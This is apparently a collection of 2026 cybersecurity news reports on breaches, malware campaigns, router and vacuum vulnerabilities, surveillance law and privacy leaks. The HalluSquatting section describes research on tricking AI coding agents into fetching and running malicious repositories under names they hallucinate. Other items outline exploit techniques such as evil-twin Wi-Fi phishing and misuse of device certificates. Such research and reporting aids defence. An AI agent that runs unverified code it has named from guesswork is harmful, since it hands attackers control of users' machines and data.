The risk is stark for Taiwan, which was already facing a staggering volume of cyberattacks before agents entered the picture. The island's National Security Bureau reported in January that it faced an average of 2.6 million Chinese cyberattacks per day in 2025, up 6 percent from the previous year. Beijing claims Taiwan as part of its territory and has threatened to use force if necessary to bring the island under its control. According to the Financial Times, Taiwan's Ministry of Digital Affairs declined to comment on the specific incident, citing confidentiality. However, a ministry spokesperson acknowledged that the integration of AI has transformed the nature of security incidents.

Delta Flight 591 between Las Vegas, Nevada, and Atlanta, Georgia was carrying some passengers from the recently concluded DEF CON 34 hacking conference yesterday, and an attendee apparently didn't want to let the fun stay in Vegas. A passenger reportedly “jammed” the plane’s Wi-Fi signal. According to View From the Wing, that hacker then created their own Wi-Fi hotspot called “Delta WiFi Fast” that routed to a phishing website that harvested the Google credentials of any passenger who attempted to log in.

The pilots on the flight told the ground crew to alert corporate security as someone was tampering with in-flight Wi-Fi through ACARS, the digital communications systems airliners use for air-to-ground text communications. “Hey, alert corporate security. We have a passenger onboard that has created a scam Wi-Fi called ‘Delta WiFi Fast.’ We believe they are trying to scam the other passengers,” the pilots said in their first message. They followed this up 17 minutes later with, “No information as of now. We have a bunch of passengers that were at a cybersecurity conference in Las Vegas. They were able to jam our Wi-Fi and broadcast their signal.”

While the exact details are unclear as the incident is still under investigation, the attacker (or prankster) apparently used a Wi-Fi Pineapple penetration testing device to launch Wi-Fi deauthentication attacks and then created an evil twin that other passengers could log into instead. This fake log-in page could have been used to harvest usernames, passwords, and other credentials. The plane was reportedly met at the gate by the authorities, although it’s unclear if any arrests were made.

Most in-flight Wi-Fi networks are unsecured, so a determined hacker could potentially use it for cyberattacks on their fellow passengers. Creating an “evil twin” network does not carry the same alarm, scandal, and potential lawsuit that a public network or device named “bomb” would on a flight, but it could still land you in hot water.

“Jamming” or interfering with in-flight Wi-Fi (or any Wi-Fi network, for that matter) is prohibited by the FCC [PDF], while the phishing log-in page could constitute wire fraud or identity theft. The passenger who created the fake in-flight Wi-Fi is also using social engineering, especially as more airlines adopt in-flight Wi-Fi and more passengers expect it, especially as they start switching to Starlink to provide reliable and fast internet.

Despite the potential threat to passengers’ cybersecurity, Delta reassured flyers that the safety of the flight was never threatened in any way. “Safety of flight was never in question, and no aircraft operating systems were affected. We are fully investigating to gather a complete set of facts, which will take time,” a Delta spokesperson told View From the Wing. “We will partner with federal law enforcement and aviation regulators to ensure the incident is thoroughly investigated. We thank our crew for their professionalism and our customers for their understanding.”

Recently, the Kyoto Prefectural Police caught one of the initial-seeders of the well-known Japanese torrent website Nyaa. Masakazu Ono, 56, from Sagamihara in the Kamigawa Prefecture, was arrested after a multi-year investigation. While this news is straightforward by itself, the interesting bit is that CODA, the Japanese anti-piracy entity that performed the initial cyber-investigation, identified Ono allegedly without joining or monitoring BitTorrent swarm traffic, with the help of the Japan Hacker Association (JHA).

CODA's description of only having "[analyzed] how data moves through torrent sites, such as index sites and tracker sites" is vague and can be parsed in a number of ways. The distinction between indexer and tracker is relevant: while an indexer is a user-visible list of torrents (usually a website), the tracker is the background service that software like qBittorrent actually connects to, and it lists everyone who's currently active in that torrent, whether sharing, downloading, or both.

Our hypothesis is that CODA kept close tabs on the Nyaa trackers to see which IP address (in this case, Ono's) consistently appeared as the first person to offer up a 100% complete set of data for a show, a theory that would fit with how long the operation took. JHA's founder, Takayuki Sugiura, was the first to decrypt the Winny P2P protocol in 2004 to find original uploader sources, and the methods used weren't too different from the aforementioned theory. It's also possible that Ono wasn't using a VPN but was logged into Nyaa, or activity at another website's cookies or CDN logs was used to establish a link to his activity at Nyaa, and from thereon, to the tracker.

An initial-seeder is someone who is the first to offer up data for others to download — in this case, shows and movies. The show that reportedly got Ono nailed was Midnight Taxi, a 2026 Japanese drama produced by NHK and WOWOW. However, the police apparently had been tracking him for quite a while and claimed that he had uploaded close to a thousand NHK recordings over the investigation's span.

The process started in 2021 when CODA first launched its Cross-Border Enforcement Project, aiming to identify Nyaa's uploaders. During three years, with the help of JHA, CODA seemingly collected enough information to get the Kyoto police involved in 2024. Three "secondary uploaders" from "reach sites" were charged in 2025, likely meaning regular users participating in the torrents, who got there through link aggregator sites. Fast-forward to a couple of weeks ago, and Masakazu Ono was formally arrested with specific charges.

The most common techniques used by law enforcement agencies are creating a tracker honeypot or participating in the torrent swarm themselves in a bid to identify who's sharing files. However, Nyaa's list of trackers is small and comprises well-known, trusted servers, so together with CODA's wording, it's unlikely this was the method used. Furthermore, Japanese law generally frowns on non-targeted data monitoring, meaning that techniques like Deep Packet Inspection (DPI) and traffic volume monitoring likely weren't used, at least until such time as Ono was identified.

Steam hardware customers in Europe should “expect fake messages - email, SMS or phone,” says Valve in an email bulletin circulating today. The problem is that its European hardware distributor, CEVA Logistics, has fallen prey to a cyberattack where personal information and hardware purchase details were compromised. The most sensitive data, such as payment information, passwords, and/or Steam Guard codes, was not pilfered during the attack.

Valve EU shipping partner hit by cyberattack.

— @joel.zone (@joel.zone.bsky.social) 2026-08-10T11:42:07.084Z

According to the official communication from Valve, CEVA was hit by a cyberattack between July 29 and August 1, 2026. The PC gaming company says that it learned that hackers had successfully swiped a range of information about Steam hardware customers on August 7.

As this data was in the hands of CEVA, it was strictly limited to delivery-related information. That means the cyberattackers now likely have a database of hardware customer information that will include fields like names, addresses, phone numbers, email addresses, and the type and price of the product(s) ordered. CEVA holds this type of information for 90 days to cover fulfillment of the hardware order. It is worth repeating that the attacked distributor won’t have spilled data such as payment information, passwords, and/or Steam Guard codes.

The likely fallout customers should be wary of

Valve candidly warns those who have purchased Steam hardware like a Steam Deck or Steam Machine in Europe over recent months to “expect fake messages - email, SMS or phone - that mention your hardware order and appear to come from Steam, Valve or a delivery company.” Likely angles used by swindlers will be to ask for extra customs or delivery fees. They may also ask you to sign into some fake web portal or other. However, you should ignore such requests, of course, and changing your Steam password or anything to do with your account settings is not necessary, insists Valve.

If you are in any doubt about a communication that comes from Steam / Valve or a distributor, please check the URLs carefully. For example, Steam Support only handles account issues at help.steampowered.com, and only store.steampowered.com, www.steampowered.com, steamcommunity.com, or help.steampowered.com are ever used for Steam account logins. You are advised to type these into a browser yourself and not click any email-embedded links. We assume poking around the official Steam App on your PC will also be fine, and many of you will have that auto-running when your PC starts up. Lastly, you are reminded that “Steam Support will never ask you for your password or a Steam Guard code. Neither will a courier.”

CEVA isolated the affected systems and notified data protection authorities after discovering the hack. It has brought in outside investigators.

Seven states have reported cyberattacks on their water supply control systems, with some officials suspecting that Iran is behind these actions. According to the New York Times, there isn’t any definitive proof yet that Iran orchestrated these attacks but it said that moves like this have been escalating since the U.S. began its bombing campaign of the country. It was also noted that the attackers made zero financial demands, making it more likely to have been conducted by state actors that aren’t just motivated by money.

Minnesota was the first to report this kind of attack, with Michigan soon saying that it was targeted, too. While there have been no major disruptions that have made tap water unsafe to drink, the authorities across local and state governments are still on the lookout for potential problems. They’re particularly concerned about older computer systems that monitor water quality, adjust chemical treatments, and control water pressure, especially those that are connected to the internet.

Braham, Minnesota, is one of the areas affected by the cyberattacks. The mayor of the small city, which has a population of less than 2,000 people and is located about 50 miles north of Minneapolis, said it has already received guidance on how to resolve the issue and strengthen its defenses against future attacks. It’s currently using manual control to keep the water service on, but its mayor, Nate George, told the publication, “I think the troubling thing on the horizon is how do we move forward to a more secure system. IT infrastructure upgrades are very costly, and we are a very small municipality.”

He also repeated the suspicions that some federal officials had but declined to confirm. “We’re getting bits and pieces of information from the state of Minnesota and the F.B.I. They are pretty sure it’s Iranian actors.”

While states scramble to protect their utilities and other critical infrastructure, the White House has downplayed the suspected state-sponsored cyberattacks. President Donald Trump told a reporter, “I think Minnesota is behind it. I don’t think there was an Iranian cyberattack.”

This isn’t the first time that Iranian hackers have hit a U.S. institution during the 2026 war, but it’s the first time that essential services and infrastructure within the mainland have been affected. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has previously warned about potential Iranian cyberattacks, but smaller municipalities remain vulnerable.

Iran was also once on the receiving end of a cyberattack that many experts link to the U.S. The most famous of these was Stuxnet, which was supposedly used in 2009 to significantly damage and destroy critical tools used by the Iranian nuclear program. More recently, the CanisterWorm malware attacked Iranian machines and wiped them clean for no apparent reason. Again, no one has claimed responsibility for this attack.

Wars have always been fought on land and on sea, and more recently, in the air and in space. But as the internet has become indispensable for society, cyberspace has quickly become a fifth domain that states must protect and dominate. “This is what modern warfare looks like,” Gov. Tim Walz said on X.

Click To Pray, the official prayer app of the Pope’s Worldwide Prayer Network, was found to have zero security by a security researcher. According to BobDaHacker, they discovered in January 2026 that the Vatican-linked app had zero security, allowing anyone to access user data through the API endpoint by simply typing in user IDs. They emailed nine individuals about the vulnerabilities as soon as they discovered them but received no responses and saw no changes for six months.

The information that anyone could get from the Click To Pray app’s database included first and last names, email addresses, and birthdates, among other information. You may not think this is much, but getting names and email addresses is more than enough for bad actors to start sending phishing emails to vulnerable users. BobDaHacker also pointed out that most of the app's users are likely older people who aren’t tech-savvy, so any enterprising scammer could tap into the app for a literal treasure trove of email addresses.

It was also easy to get the complete list automatically. The user ID assigned to new accounts is sequential, and since there’s no rate limiting for the API, all it takes is one GET request per user to capture all that information. Aside from this, the validation_hash used to verify the validity of an account signup is also stored in the clear, meaning anyone with access to the API can verify an account by opening their inbox. The email also had security issues that make it look like a phishing email, even if it’s legitimate.

You may think that a prayer app shouldn’t be much of a target for cybercriminals, especially as this has a small install base compared to the 16 billion accounts exposed in one of the largest data breaches in history. But the fact that it had almost 720,000 accounts as of July 2026 meant that there’s a lot of possible targets within that database. Even if just 1% of these users respond to an enterprising cybercriminal who harvested their email addresses from the app, that’s more than 7,000 different individuals who could lose money because of this leak.

BobDaHacker waited for six months for a response, but, unfortunately, no one related to the app responded to their concerns. Because of this, they contacted Nate Neslon, a security journalist for Dark Reading (who similarly received crickets after contacting them), who published a story about it. It was only after the news went live that the app’s security lapses were fixed, even if BobDaHacker wasn’t, at the very least, acknowledged by the makers of the app. Hopefully, no other hackers were aware of the weaknesses of the Click To Pray app.

Federal agents arrested 21-year-old Zyaire Dontaevious Zamarion Wilkins of North Lauderdale, Florida, on Tuesday and charged him with conspiracy to obtain information by computer for private financial gain, according to a 15-page criminal complaint first reported by WPLG Local 10. The FBI alleges Wilkins helped run an operation that embedded malware in eight video games, infected around 8,000 devices, and stole at least $220,000 from roughly 80 cryptocurrency wallets between May 2024 and February 2026. Investigators put a name to the scheme by following stolen Bitcoin to more than 150 gift cards, most of them spent on Uber Eats.

The complaint identifies the distribution channel only as a "popular digital distribution software company," but the games it lists, including BlockBlasters, Dashverse, Lunara, and PirateFi, match the titles named when the FBI began seeking victims of infected Steam games in March. The case is being prosecuted in Seattle federal court, near Valve's headquarters in Bellevue, Washington, and Wilkins' arrest is the first publicly reported in the investigation.

Wilkins allegedly financed and marketed the malware rather than writing it, with Local 10 reporting that agents had already searched the home of the unidentified developer who built the programs, and that Signal chats seized there tied Wilkins, operating under the handle Sibel.eth, to a $10,000 purchase of a remote access trojan and to discussions about tricking victims into approving transactions that emptied their wallets. That developer isn't named in the complaint and doesn't appear to have been charged.

The conspirators promoted the games on Discord, Telegram, X, and LinkedIn, and used bots to find users with large cryptocurrency holdings and message them directly, according to the complaint. Roughly 80 wallets were drained from 8,000 infections, a hit rate of about 1% consistent with that targeted approach. ZachXBT and vx-underground estimated BlockBlasters alone took more than $150,000 from between 261 and 478 victims, including $32,000 in donated cancer treatment funds taken from a Twitch streamer in September 2025.

Payments from the scheme's Bitcoin wallet went to Bitrefill, a gift card service, where the 150-plus cards were purchased, agents said. A subpoena to Uber matched the cards to an account with deliveries at Wilkins' family home and his addresses at the University of West Florida. When agents searched the North Lauderdale house a week before the arrest, they seized several devices and three cryptocurrency wallet seed phrases, one belonging to a Monero wallet. Wilkins' transaction history showed $382,000 in cryptocurrency sent or received, per the complaint.

Wilkins faces up to 10 years in prison if convicted and was scheduled to appear in Fort Lauderdale federal court on July 15. Valve, whose storefront has seen a steady run of malware incidents over the past two years, including the Chemia Early Access game that shipped with three malware strains, hadn't responded to Local 10's request for comment as of publication.

A security researcher has published a method for lifting the client certificate off a Shark robot vacuum and using it to run root commands on other Shark vacuums across the same Amazon Web Services region, exposing live camera feeds, stored home maps, and Wi-Fi credentials held in plaintext. The researcher, who publishes under the handle tokay0, published the technique on Monday and says he first reported it to SharkNinja on March 1. As of the time of writing, the flaw is still unpatched, requiring a fix that sits entirely on SharkNinja's side of the cloud rather than on the robot.

The problem is an over-permissive AWS IoT policy. The certificate that a Shark vacuum uses to authenticate to Amazon's cloud broker was never restricted to the device carrying it, so a certificate pulled from one unit can subscribe to fleet-wide traffic and publish commands addressed to any device the broker serves. Those commands travel in an ordinary field called Exec_Command inside the per-device state document AWS keeps in the cloud, and a management daemon on the vacuum passes anything under 1,000 bytes from it to a shell.

The researcher tested the technique only on units he bought himself, including a cross-model reverse shell on an AV1102ARUS Shark IQ Robot Vacuum XL, which he then used to pull a live feed off that robot's onboard camera. Watching a single AWS region for 24 hours, he counted 1,517,605 unique Shark serial numbers, of which 673,816, or 44%, replied to a command probe. Those are devices observed responding, not devices he tested or compromised. Certificates are pinned to their AWS region, so a key lifted in one region only reaches devices in that region.

tokay0 says SharkNinja acknowledged his report on March 12, told him on April 27 that it was under review, and on July 3 promised a completion date by July 10 that never arrived. He also says the company downplayed the severity and questioned whether a CVE was warranted, despite a published disclosure policy that commits SharkNinja to "provide regular updates until the reported vulnerability is resolved." The company had posted nothing on the flaw as of July 16.

Remediation in this scenario doesn’t require a firmware update. Per Amazon, a non-compliant IoT policy is fixed by pushing a scoped version inside the operator's own AWS account until SharkNinja rescopes the policy or reissues the certificates.

SharkNinja's timeline is pretty similar to a vulnerability we saw with DJI Romo vacuums back in February, whereby an authorization flaw exposed roughly 6,700 vacuums, handing out camera feeds, audio, and floor plans; DJI patched it within weeks, and the researcher who found it later collected a $30,000 bounty. Cloud-side failures, where a backend fails to scope device access, have driven a run of robot-vacuum breaches and fueled interest in fully offline designs that keep mapping and camera data off any vendor cloud.

Supply-chain security firm Socket has published research findings describing a Go module that posed as a DNS and subdomain scanner while acting as a first-stage Windows malware loader. The firm then traced it to a network of 222 GitHub repositories across 190 accounts. The module published its first version on January 24 this year and has since accumulated more than 1,200 versions, over 700 of them malicious. Socket tracks the campaign as “Operation Muck and Load” and reported the module to the Go security team, which blocked it from the Go module proxy.

Go derives a pseudo-version from the commit timestamp and hash for any commit that lacks a semantic version tag. Socket attributes the sprawl to the threat actor's own GitHub Actions workflow, saying its timed commits could each be resolved as a version, inflating a scanner utility's release history into the hundreds.

Across the confirmed repositories, Socket found the same workflow: it sets the Git email to ischhfd83@rambler.ru, sets the visible commit username to the current repository owner, and then force-pushes a rewritten log file every minute. That split generated owner-attributed activity across disposable accounts while leaving one reusable fingerprint. Socket counted a repository only when both the email and the workflow appeared together, resulting in 222 repositories as the confirmed minimum.

The module's main.go launches a hidden PowerShell command that downloads content from muckcoding.com, decodes it with certutil, and runs the result with execution-policy bypass. Socket describes the decoded script as a multi-layer loader using Base64 encoding and XOR decryption, with a Turkish-language comment in one layer that translates to "run directly, no other step is needed."

Rather than hardcoding a payload URL, the resolver retrieves text from public platforms, searches it for the marker string "LastW," then decrypts the trailing blob with a hardcoded key to recover the actual download location. Primary dead drops include Pastebin and a paste service called Rlim, with fallbacks across YouTube, Instagram, Telegram, Google Docs, and GitCode. If defenders remove one paste or block the final archive URL, the actor can update the resolver content without touching the first-stage loader.

The resolved URL points to a password-protected 7-Zip archive hosted as a GitHub release asset. The loader extracts it into a directory named to resemble a legitimate Microsoft Photos install and launches Microsoft.exe from that path with a hidden window. Decoded payload stages map to AsyncRAT, Quasar, and Remcos-style RAT detections alongside infostealer behavior.

Socket confirmed at least 14 unique malware files across the analyzed set, including Trojan loaders and downloaders, Vidar infostealer, dropper and spyware payloads, and XMRig-related Monero cryptominers. One Loader.exe appeared byte-identically across four separate repositories.

Lure themes span MetaMask and Trust Wallet integrations, seed-phrase utilities, Binance and PayPal automation, Telegram and Discord bots, and game cheats for PUBG, Valorant, and Escape from Tarkov. One PUBG repository, nrevv1lad/Pubg-DESYNC-Menu, presented itself as an external cheat with an installation guide while hosting a Vidar-linked Loader.exe in its source tree.

Socket assesses with high confidence that Operation Muck and Load belongs to the same cluster that Sophos documented in June last year. Sophos researchers Matt Wixey and Andrew O'Donnell traced 141 GitHub repositories, 133 of them backdoored, to the same ischhfd83@rambler.ru address. Sophos also identified "Muck" as one of the actor's aliases, a label now embedded in the muckcoding.com and muckdeveloper.com domains.

Neither GitHub nor the Go team has commented beyond the proxy block.

The Chat Control 1.0 law that enables warrantless mass scanning of digital communications has been voted against multiple times by the EU Parliament. And yet, just like a movie zombie, it keeps getting resurrected by various legal sleight-of-hand moves. Yesterday, one of those tricks worked, as Chat Control 1.0 passed (or rather, was not rejected) in a forced re-vote that required an absolute majority (50% + 1) for active refusal. This brings back the law until 2028, and sets a different stage for September's upcoming discussion on Chat Control 2.0.

After the impending publication in the EU Official Journal, online direct-communication platforms will be allowed to mass-scan their users' data without the need for a warrant, under the guise of looking for child sexual abuse material (CSAM).

The scanning is not mandatory, but big tech firms will have a legal mechanism to rifle through user data. EU firms have historically refrained from doing so, presenting privacy and data sovereignty as selling points, but the legal door is nevertheless now officially open.

The obvious platforms where monitoring can now take place will be e-mail and chat services. Immediate examples include Gmail, iCloud, Hotmail, Discord, Instagram, Slack, Teams, Snapchat, Xbox, and Google Chat.

Although the law's scope is for "interpersonal communications services," the legal mechanism might hypothetically extend to some gray areas like Google Drive, where sending someone a link to a cloud file could be within the scope of the law.

It's worth noting that "direct communication" isn't restricted to one-to-one chats, as it includes group chats; just not public or undirected communications. Additionally, EU law enforcement is still beholden to the same warrant requirement as before — Chat Control 1.0 does not grant a blank pass to authorities to mass-scan user data, or request companies to do so without a targeted warrant.

Thanks to two amendments in yesterday's vote, end-to-end-encrypted (E2EE) communications means (ex: WhatsApp) stay exempt. That means that for now, Chat Control 1.0 isn't a commandment to break encryption, something that has been regularly suggested by lawmakers around the world.

It's as good a time as any to remind people that Instagram messages are no longer E2EE as of May, and that although WhatsApp's messages are encrypted, the service leaks out every single bit of metadata about them — sender, recipient, time, size, etc. As always, Signal is recommended as a privacy-focused communications app.

This latest development in the EU parliament is eliciting widespread public outcry due to the nature of the law itself, but also due to the manner in which it happened. Critics and opponents of the rule are suggesting this move is unprecedented.

Chat Control 1.0 has already been shot down repeatedly, most recently in March. However, European Parliament President Roberta Metsola forced a second reading of the law, and invoked Rule 163's "urgent procedure" mechanism. This had many effects, including bringing up a law that was voted against for discussion yet again; turning the decision into a denial vote (vote-to-deny, not vote-to-pass); exploiting the second-reading requirement that demands an absolute majority vote (50% + 1); and letting the President herself set the schedule. Metsola scheduled the second reading to the very last day before the European Parliament summer recess.

The result was that out of 720 representatives, only 607 actually cast a vote. Of those, 315 (over half) voted against Chat Control 1.0. That figure did not meet the supermajority threshold of 361, which was calculated against a full chamber.

Opponents to Chat Control have posted resources at the Fight Chat Control website, including a breakdown of member-state and individual representative voting positions and contact information.

Ever since the advent of agentic AI, security researchers have been yelling from the top of their lungs about how it's a bad idea to grant user-level permissions to an LLM — for all purposes, a program with non-deterministic outputs and inconsistent handling of inputs. A research paper on HalluSquatting from researchers at Tel Aviv University, Technion, and Intuit, shows how easily one can fool modern AI bots and harness them into a massive army of AI agents, with the research showing that agents can hallucinate potentially malicious code repositories up to 85% of the time.

The mechanism for HalluSquatting (aka "adversarial hallucination squatting") is surprisingly simple, and takes advantage of the fact that when met with unfamiliar terms, bots will not know they're incorrect and hallucinate a "correct" answer. Adding to that, the methods the bots use to come up with said answer are predictable, for example, owner/repository or toolname/toolname GitHub URLs. This is different than just standard typo-squatting, as it exploits the hallucination mechanism itself.

An attacker first identifies an application, code repository, programming library, or bot skill that's gained popularity only in recent months or years — let's say, a new GitHub repo with the URL OriginalOwner/WindowsTelemetryOff. As the bots' training data is not recent enough to contain information about it, GitHub URLs owner/repo combinations SuperHacker/WindowsTelemetryOff , and WindowsTelemetryOff/WindowsTelemetryOff look just as peachy. Likewise, WindowsTelemetryOf and WindowTelemetryOff (note the typos) will be valid candidates.

The attacker then creates a malicious repository using those generated names. When Claude or another code agent is asked to "run the windowstelemetryoff scripts" or a similar instruction, chances are they'll hallucinate the repo name (sometimes even having run a web search), run into the malicious version that looks like the original, and happily run whatever's in there.

From that point, all bets are off now that the attacker's code is running on the user's machine. The most obvious outcome could be creating a reverse shell (the user's machine opens a command line that's controlled remotely). Now having access to the user's account, the attacker can siphon off their data and passwords, install software, run crypto miners, or harness their AI agent for further malfeasance, all with the power of entire data centers at their disposal.

And here's the kicker: just the one HalluSquatted piece of software has the potential to bait and reel in tens of thousands of bots, if not more, in a proverbial blink of an eye. A crafty attacker would be kind enough to include all the original code in their poisoned version, adding yet another layer of unawareness to the mix.

The research team found that an LLM will hallucinate the location of a recent code repository up to 85% of the time, a figure that can reach 100% for trending agentic skills. Every single model is widely affected, up to and including Anthropic's mighty Claude Opus 4.5. At the application level, the figures are better, but still pretty bad.

The scientists are working on common LLM-backed programming applications, including Cursor, Windsurf, and OpenClaw, among others. In this scenario, the bots stand a better chance given they're working with more context information, but even still, the success rates for hacking ranged from 20%-35% for Cursor, Gemini CLI, and Copilot, and increased massively to close to 80-100% on OpenClaw and its variants. The exploit mechanism doesn't even need to be crafted specifically for any bot; the researchers' results show it's universal and transferable, too.

The mean hallucination rate for names of sample GitHub repositories published in 2025 is 92.4%, while predictably, bots get the URLs wrong 0.9% for those from 2019 or earlier, though that's arguably still a concerning figure. The most effective mitigation is adjusting workflow: instructing bots to always run web searches before installing software, and providing them with additional context. Unfortunately, that's not the default way most people appear to use them.

Cybersecurity professionals have long advocated for not blindly trusting a bot's actions and severely restricting the access level granted to AI agents. And yet it's not uncommon to see bots with wide-ranging permissions over users' machines, API keys, access keys, and service accounts, to name a few — all in a bid to make it "easier" for the bot to vibe-code their pointy-haired-boss' latest brilliant idea.

The CERT Coordination Center (CERT/CC), a U.S. government-backed cybersecurity group at Carnegie Mellon University's Software Engineering Institute, disclosed a firmware flaw on July 6 that can hand attackers full administrative control over several Tenda networking devices. The vulnerability, tracked as CVE-2026-11405, is an undocumented authentication backdoor in the affected models' firmware that bypasses the normal login process and grants access to the devices' web management interface without valid credentials. Compounding the risk, there is currently no security patch available, as Tenda — a Shenzhen-based budget networking brand with a large presence in India and other markets — is yet to respond despite CERT/CC reaching out on the issue.

CERT/CC lists five affected firmware versions spanning the FH1201, W15E, AC10, AC5, and AC6 router families. The advisory, which credits an anonymous researcher for the finding, does not describe this list as exhaustive. The list covers only the specific builds the researcher reported to CERT/CC, as there is no vendor-confirmed scope. According to the advisory, the flaw resides inside the routers' built-in web server, where an undocumented authentication routine allows administrative access without requiring the configured administrator credentials.

Like most consumer routers, Tenda devices provide a password-protected web management interface for configuring Wi-Fi settings, firewall rules, DNS servers, firmware updates, port forwarding, parental controls, and other core networking features. Because these interfaces control most aspects of a router's operation, they are typically protected by authentication mechanisms designed to prevent unauthorized users from making changes that could compromise an entire home or business network.

According to the advisory, the affected firmware initially performs authentication as expected, verifying the administrator password with a standard MD5-based check. However, when that verification fails, the login routine quietly follows a second, undocumented code path. Instead of immediately rejecting the login attempt, the firmware retrieves another password stored internally under the configuration key sys.rzadmin.password and compares it directly against the user-supplied password using the standard C library function strcmp().

If the supplied password matches this hidden value, the firmware immediately creates a valid administrator session with full privileges. Even more concerning, the associated username is never validated, meaning any username can be used as long as the hidden password is supplied. As a result, the mechanism effectively bypasses the router's configured administrator account altogether.

While CERT/CC did not disclose the hidden password itself, the existence of an undocumented secondary authentication path significantly weakens the security model of affected devices. Unlike conventional authentication vulnerabilities that stem from implementation errors, this is a separate login path rather than a flaw in the existing one, granting administrative access through credentials that are neither documented nor exposed through the router's management interface. Whether that path was placed there deliberately or left in as a forgotten development feature is unclear. CERT/CC draws no conclusion on intent, and Tenda's silence settles nothing.

Successful exploitation grants an attacker unrestricted control over the router's configuration. With administrator access, an attacker could modify network settings, change DNS servers to redirect internet traffic, disable security protections, replace administrator credentials, or enable additional remote access features. As routers serve as the gateway between local devices and the internet, compromising one can expose every connected system on the network to further attacks.

Pending official Tenda firmware updates, CERT/CC recommends disabling remote web management wherever possible to prevent attackers from reaching the administrative interface over the internet. The organization also advises limiting local network exposure, noting that while changing a router's default LAN IP address may reduce opportunistic discovery by automated scanning tools, it does not protect against determined attackers performing targeted network reconnaissance.

The disclosure echoes the concerns the Federal Communications Commission (FCC) cited when it added certain foreign-made networking products to its Covered List in March, preventing new models from receiving the authorization required for import and sale in the U.S. The FCC argued that compromised consumer routers can provide attackers with a foothold into home and small-business networks. An undocumented administrator backdoor in widely sold networking equipment — combined with the absence of a vendor patch or response — illustrates the type of supply-chain security risk regulators seek to address.

The Internet is buzzing over news that 19-year-old Estonian "hacker" Peter Stokes got nabbed by the authorities and extradited to the U.S. on digital crime charges, mostly thanks to Microsoft Windows' built-in telemetry. The FBI seemingly subpoenaed Microsoft, which coughed up telemetry logs that contained both Stokes' GDID (Global Device Identifier) and websites he visited using his main Windows machine.

The existence of GDID isn't new by itself, as Windows telemetry's data collection has been extensively analyzed and reported on. It's also been known, and publicly explained by Microsoft, that the extended telemetry modes (Full/Optional instead of Required/Basic) can upload lists of URLs analyzed by SmartScreen and Defender, together with the GDID. In fact, using the Edge browser in this setup can even send every visited URL. The court documents do not reveal which exact mechanism triggered the telemetry upload, though.

This data collection has long been the source of heated debate and general public disgust. Even though the data is genuinely useful and necessary for debugging (by Microsoft or systems administrators in enterprise environments), the fact that it comes enabled by default in Windows Home and Professional editions is questionable. The fact that those versions don't have a simple, user-facing "Off" switch to fully disable telemetry also adds insult to injury.

The Peter Stokes arrest appears to be the first public case where these Windows GDIDs were both used as a tracking identifier and contained telemetry data including some of the URLs the defendant visited. The case also prompted a renewed analysis of the GDID by a security researcher that you might want to look into. From what we can ascertain, it's likely Stokes had his Windows telemetry set to Optional/Full, as Required/Basic doesn't appear to transmit URLs by default.

Using the telemetry GDID, the FBI easily connected the dashing rogue to his ngrokaccount, because he used that tool in the same session in which he accessed his Facebook and Snapchat accounts. The agents also established a link between travel records, a New York IP address, and a rental at the Empire Hotel, likely facilitated by the photos Stokes posted of his hotel room. The criminal mastermind was equally sneaky (read: not) in his visit to Thailand.

As many hackers do, he enjoyed some time off playing an obscure game, in this case Ubisoft's Growtopia, shortly before accessing his Apple logins, as well as the aforementioned Facebook and Snapchat logins over the following weeks. Besides Microsoft, Google and Apple also collaborated on the hunting effort, with Google linking Stokes' phishing phone number to the same exact IP address and date where he created the ngrok account. Ever the stealthy craftsman, Stokes had created the ngrok account using the same GMail address connected to a second phone number where he made phishing calls from.

While it's easy and arguably quite necessary to hoist pitchforks at Microsoft for collecting detailed information about billions of computers by default, security professionals will be quick to remind users that Windows' telemetry is merely one of the many ways to track a user. Even if not by malice, a lot of software simply requires GDID-like identifiers for things like tracking usage, subscription and licensing limitations, activation requests, and hardware detection. And every company behind such software can be subpoenaed by authorities, as exemplified in Stokes' case by Microsoft, Google, Apple, ngrok, and others. Even privacy-oriented services like Proton are careful enough to describe what they can and cannot reveal to authorities under a court order.

If you're wondering the steps Stokes took to cover his tracks, though, you'd be looking at a small list. He did route his connections through a VPN hosted at servers from Tzulo along with the developer-oriented ngrok tunneling service and teleport.sh. Unfortunately, the modern digital world allows for many forms of identification, and hiding one's source IP address is merely one of them.

Using a VPN is recommended for digital anonymity, but it's merely the first of many necessary steps and can even backfire when not set up carefully. If misconfigured, a VPN may allow certain applications and operating system features to talk to the outside world using the original IP instead of the hidden one. Plus, the VPN will not stop the operating system or any application from sending out identifying information to begin with.

Perhaps more worryingly still, modern-day device and user fingerprinting is far more insidious and hard to counter. For example, plain web browsers are notorious leakers of personal information, as data-harvesting companies can weaponize features like TLS levels, HTML5 Canvas functionality, the fonts list, and even Widevine DRM in a combination that uniquely identifies a visitor. Stokes now has plenty of time to read up on the EFF's surveillance self-defense guides and get acquainted with the scripts at the Privacy Is Sexy website.

If you read or watch any privacy tutorial on the internet, one of the first tips will be to start using anonymized email addresses in some form — providing a fake email that redirects to your real one. Many email providers offer this functionality, and so does Apple's basic paid iCloud plan with the Hide My Email feature. But apparently Apple's implementation of the feature is trivial to crack — which means anyone can find your real email address with little effort, according to 404 Media.

The privacy vulnerability has been known to Apple for just over a year, and was first reported by Tyler Murphy, co-founder of data removal company EasyOptOuts. The folks at 404 Media claim they tested the vulnerability themselves and that, sure enough, it takes minimal effort to figure out the real address behind the fake alias — with a 100% success rate.

Apple doesn't seem to be bothered by the issue, given that Murphy revealed the problem in June 2025, and the company only executed a fix in March 2026. Post-fix, however, Murphy verified the issue remained (and apparently the last time he heard back from Apple back was in May, when the company said said it was still investigating). There are no further updates, it seems, and this is poor optics for a company that talks a big game about user data privacy.

Neither the researcher nor 404 media divulged the exact mechanism, despite the one-year timeframe being well past the common 90-day security vulnerability disclosure window. This is likely to avoid putting a lot of users at risk of exposure, considering that Apple has passed one billion paid subscribers. Even if only 1% of users use Hide My Email, that still accounts for 10 million people.

Given the lack of technical details, it's hard to pin down where the problem could lie. Accidental revelations of aliased emails have happened several times, by the hand of client software trying to be helpful and "fixing" the reply path, and by servers mismanaging email headers.

Perhaps adding insult to injury, Apple recently stated that it's going to move Hide My Email addresses to their own domain, "private.icloud.com", making it easy for websites to reject such addresses in a bid to always have users' real contact info. Murphy suggested that the company stop sales of the Hide My Email feature until the data leak matter is resolved, but, again, there's been no response.

